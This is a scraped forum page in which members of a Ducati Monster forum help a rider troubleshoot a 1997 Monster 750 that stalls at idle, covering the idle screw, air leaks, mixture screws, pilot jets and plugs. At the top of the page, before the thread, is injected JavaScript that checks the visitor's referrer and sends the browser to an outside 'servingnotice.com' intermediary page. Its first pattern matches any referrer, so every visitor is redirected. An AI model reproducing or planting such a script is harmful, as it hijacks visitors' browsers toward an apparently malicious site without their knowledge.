var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/lvinter1/intermediary.html?it11org"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; Engine dies at idle - help?
Ducati Monster Forum

powered by:

November 21, 2014, 03:50:06 PM *
Welcome, Guest. Please login or register.

Login with username, password and session length
News: Welcome to the DMF
 
  Home   Forum   Help Search Login Register  




Pages: [1] 2   Go Down
  Print  
Author Topic: Engine dies at idle - help?  (Read 1762 times)
pkat696
New Member
*
Offline Offline

Posts: 21


« on: December 13, 2010, 03:43:01 PM »

I have a 1997 Monster 750 and lately the engine has been dying on me quite a bit.  When I come to a stop, and the engine is idling, it dies just about every time. 

Not sure if it matters, but no modifications have been done on the intake.  I do have a set of Two Brothers pipes though.

Any help would be greatly appreciated.

Thanks,
Peter
Logged
Speeddog
West Valley Flatlander
Flounder-Administrator
Post Whore
*****
Offline Offline

Posts: 10164


'02 MS4 . '98 M750 . '99 Cagiva G.C.


« Reply #1 on: December 13, 2010, 04:01:46 PM »

Increase the idle speed with the idle screw.....
Logged

- - - - - Valley Desmo Service - - - - -
Reseda, CA

(951) 640-8908

Curator? Curate? Unless you work in a museum, gallery, or zoo, that's bullshit.
You cannot 'curate' a line of trendorky clothes for sale on a website. That's called 'purchasing'.
It's like calling a fox a dog. They're distantly related, but not the same thing.
Latinbalar
Hero Member
*****
Offline Offline

Posts: 576



« Reply #2 on: December 14, 2010, 07:21:02 AM »

check to make sure that all the plumbing after the carbs are intact. an air leak usually causes dying at idle.
Logged

I live vicariously thru myself......
pkat696
New Member
*
Offline Offline

Posts: 21


« Reply #3 on: December 14, 2010, 10:05:30 AM »

Thanks for the replies!!

Speeddog...really?  That's it?  Cool!!  I have yet to really dive into the mechanics of the engine, so I apologize in advance for my ignorance.  Where is the idle screw?

Latinbalar...good tip.  I'll check the plumbing.

Thanks,
Peter
Logged
Speeddog
West Valley Flatlander
Flounder-Administrator
Post Whore
*****
Offline Offline

Posts: 10164


'02 MS4 . '98 M750 . '99 Cagiva G.C.


« Reply #4 on: December 14, 2010, 10:12:21 AM »

It's rather hard to get at, between the carburetors below the airbox.

I'll try to take a picture later...
Logged

- - - - - Valley Desmo Service - - - - -
Reseda, CA

(951) 640-8908

Curator? Curate? Unless you work in a museum, gallery, or zoo, that's bullshit.
You cannot 'curate' a line of trendorky clothes for sale on a website. That's called 'purchasing'.
It's like calling a fox a dog. They're distantly related, but not the same thing.
pkat696
New Member
*
Offline Offline

Posts: 21


« Reply #5 on: December 24, 2010, 07:24:37 PM »

Speeddog,

I found a picture from one of your previous posts.  Thanks!! 

I finally got around to taking the bike out today, after all of that rain.  I warmed it up good, and adjusted the idle.  I remember reading somewhere that idle should be set at around 1200 rpm.  I set it as close as I could, and it idled much better.  It didn't seem like it was going to die.  But then, I encountered another problem.  When I revved the engine, it didn't return to idle quickly.  It was a slow reduction in revs back down to idle.  So, I reduced the idle speed down to about 1000 rpm, and it was much better.  The idle sounded good too.  But then I took it out for a ride, and it died a few times.

Any ideas?

Your help is greatly appreciated!!

Thanks,
Peter
Logged
koko64
Hero Member
*****
Offline Offline

Posts: 5731


« Reply #6 on: December 25, 2010, 01:56:31 AM »

Speeddog,

I found a picture from one of your previous posts.  Thanks!! 

I finally got around to taking the bike out today, after all of that rain.  I warmed it up good, and adjusted the idle.  I remember reading somewhere that idle should be set at around 1200 rpm.  I set it as close as I could, and it idled much better.  It didn't seem like it was going to die.  But then, I encountered another problem.  When I revved the engine, it didn't return to idle quickly.  It was a slow reduction in revs back down to idle.  So, I reduced the idle speed down to about 1000 rpm, and it was much better.  The idle sounded good too.  But then I took it out for a ride, and it died a few times.

Any ideas?

That symptom of the idle hanging up can be that your idle mixture is too lean. You can put the idle back to 1200rpm and turn the idle mixture screws out 1/2 a turn to richen things up a little.
Or
There is an air leak from a manifold rubber as has been suggested and this causes the idle to hang up also. You can spray the manifolds with WD 40 and see if the bikes idle changes.

Try the former first to see if that works, then do the second test if it still hangs up before settling.

Your help is greatly appreciated!!

Thanks,
Peter
Logged

1995 M900 (Road)
2004 GSXR 750 (Track)
2010 HM1100 Evo (Adventure)
pkat696
New Member
*
Offline Offline

Posts: 21


« Reply #7 on: December 28, 2010, 08:50:54 AM »

Thanks koko64, I'll give that a try.

Also, thanks to Latinbalar for the suggestion on the plumbing.
Logged
pkat696
New Member
*
Offline Offline

Posts: 21


« Reply #8 on: December 31, 2010, 03:46:54 PM »

Thanks again for everyones help.

I tried increasing the idle speed and richening the mixture by backing out the idle mixture screws, but it didn't help.  It still dies and the throttle still hangs up.  I first backed out the misture screws half a turn, and then another half. 

I also visually inspected the manifold rubber and didn't see any potential leaks. 

Any other suggestions?  Any additional help would be greatly apprecited.

Thanks,
Peter
Logged
Speeddog
West Valley Flatlander
Flounder-Administrator
Post Whore
*****
Offline Offline

Posts: 10164


'02 MS4 . '98 M750 . '99 Cagiva G.C.


« Reply #9 on: January 01, 2011, 10:31:48 AM »

Carbs may need a cleanout, especially the idle jets.

Replace the O-rings on the float valves while you're in there.
Logged

- - - - - Valley Desmo Service - - - - -
Reseda, CA

(951) 640-8908

Curator? Curate? Unless you work in a museum, gallery, or zoo, that's bullshit.
You cannot 'curate' a line of trendorky clothes for sale on a website. That's called 'purchasing'.
It's like calling a fox a dog. They're distantly related, but not the same thing.
pkat696
New Member
*
Offline Offline

Posts: 21


« Reply #10 on: January 03, 2011, 07:40:36 AM »

Thanks Speeddog.  Sounds like I need to do a good once-over of the carbs then huh?  I guess I should buy a manual then.
Logged
ducpainter
The Often Hated
Flounder-Administrator
Post Whore
*****
Offline Offline

Posts: 55709


Rembrandt....Just another painter.


WWW
« Reply #11 on: January 03, 2011, 03:39:32 PM »

All the advice is good...but...humor the humorless one. Grin

Before you go tearing everything apart....

drop the idle to 1100 rpms and see if that stops the hanging.

It may be that you're idling just high enough to kick in the advance which raises the idle even more.

If it still stalls you probably have dirty pilot jets like Speeddog said.

Logged

"Once you accept that a child on the autistic spectrum experiences the world in
 a completely different way than you, you will be open to understand how that
 perspective
    is even more amazing than yours."
    To realize the value of nine  months:
    Ask a mother who gave birth to a stillborn.
pkat696
New Member
*
Offline Offline

Posts: 21


« Reply #12 on: January 04, 2011, 07:41:28 AM »

Thanks Humorless.  I did that the first time I adjusted the idle speed.  I had it at around 1000 or so to eliminate the hanging, but it still kept dying at idle.  Then, I tried it at around 1200, with the throttle hanging, but it still died at idle.

So what's the best way to clean teh pilot jets?  Do I need to tear apart the carbs?  Or can I just spray some carb cleaner in there?

Thanks again for everyones help!!

Peter
Logged
ducpainter
The Often Hated
Flounder-Administrator
Post Whore
*****
Offline Offline

Posts: 55709


Rembrandt....Just another painter.


WWW
« Reply #13 on: January 04, 2011, 08:36:05 AM »

If it were me, I'd try some Techron carburetor cleaner mixed in the fuel for a tank before I tore into things.

If that doesn't do it you'll have to take them apart.

Have you looked at the plugs?
Logged

"Once you accept that a child on the autistic spectrum experiences the world in
 a completely different way than you, you will be open to understand how that
 perspective
    is even more amazing than yours."
    To realize the value of nine  months:
    Ask a mother who gave birth to a stillborn.
pkat696
New Member
*
Offline Offline

Posts: 21


« Reply #14 on: January 04, 2011, 12:35:13 PM »

One of my buddies mentioned adding some fuel injector cleaner to my gas.  I guess I'll give that a try.  I'll also take a look at the plugs.  What am I looking for?
Logged
Pages: [1] 2   Go Up
  Print  
 
Jump to:  


Powered by MySQL Powered by PHP Powered by SMF 1.1.20 | SMF © 2013, Simple Machines Valid XHTML 1.0! Valid CSS!
SimplePortal 2.1.1